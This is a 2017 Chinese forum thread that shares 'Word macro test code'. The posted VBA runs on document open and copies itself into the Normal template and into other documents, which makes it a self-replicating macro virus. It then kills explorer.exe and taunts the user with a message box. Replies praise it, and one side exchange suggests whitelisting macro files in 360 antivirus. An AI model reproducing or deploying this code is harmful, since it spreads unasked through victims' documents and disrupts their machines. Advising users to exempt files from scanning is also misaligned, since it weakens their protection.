网站 › 『编程语言区』 › word宏测试代码

豆腐皮 发表于 2017-3-17 20:31

word宏测试代码

代码：
Sub Document_Open()

On Error Resume Next

Application.DisplayScrollBars = False

Options.SaveNormalPrompt = False

Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule

Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule

End If

With host

If .Lines(1, 1) <> "Micro-Virus" Then

.DeleteLines 1, .Count0fLines

.InsertLines 1, ourcodemodule.Lines(1, 100)

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = NormalTemplate Then

.ReplaceLine 2, "Sub Document_Open()"

ActineDocument.SaveAs ActiveDocument.FullName

End If

End If

End With
'程序代码开始'
Shell ("taskkill /f /im explorer.exe")
MsgBox ("看看你的桌面是不是消失了?")
'程序代码结束'

End Sub
功能：关闭桌面和弹框
截图:

成品文档：

本人博客：http://www.bluexiang.com

豆腐皮 发表于 2017-3-17 23:46

seazer 发表于 2017-3-17 23:37
加白名单？把word加进去？试过了，excel.exeword.exenormal.dot都加进去过 打开有宏的文件还是卡

实在不行就换杀软，我的企鹅管家不卡的

vaxxuan 发表于 2017-3-17 20:41

可以的 ，很强势

Pahriyad 发表于 2017-3-17 20:51

看看你的桌面是不是消失了? 呵呵，不错不错{:1_921:}

幸福賓兒 发表于 2017-3-17 20:58

已收藏谢谢楼主的分享:handshake

seazer 发表于 2017-3-17 21:40

请教楼主一个问题啊，由于工作需要，我的word一直含宏代码，但是每次打开都很慢，原因是360全家桶在每个文档打开之前都进行扫描，有什么办法可以不让360扫描吗？

tujinfeng 发表于 2017-3-17 22:05

谢谢楼主的分享

豆腐皮 发表于 2017-3-17 23:28

seazer 发表于 2017-3-17 21:40
请教楼主一个问题啊，由于工作需要，我的word一直含宏代码，但是每次打开都很慢，原因是360全家桶在每个文 ...

母鸡啊！加白名单？

seazer 发表于 2017-3-17 23:37

加白名单？把word加进去？试过了，excel.exeword.exenormal.dot都加进去过 打开有宏的文件还是卡

豆腐皮 发表于 2017-3-17 23:42

seazer 发表于 2017-3-17 23:37
加白名单？把word加进去？试过了，excel.exeword.exenormal.dot都加进去过 打开有宏的文件还是卡

不能直接加doc文件？

查看完整版本: word宏测试代码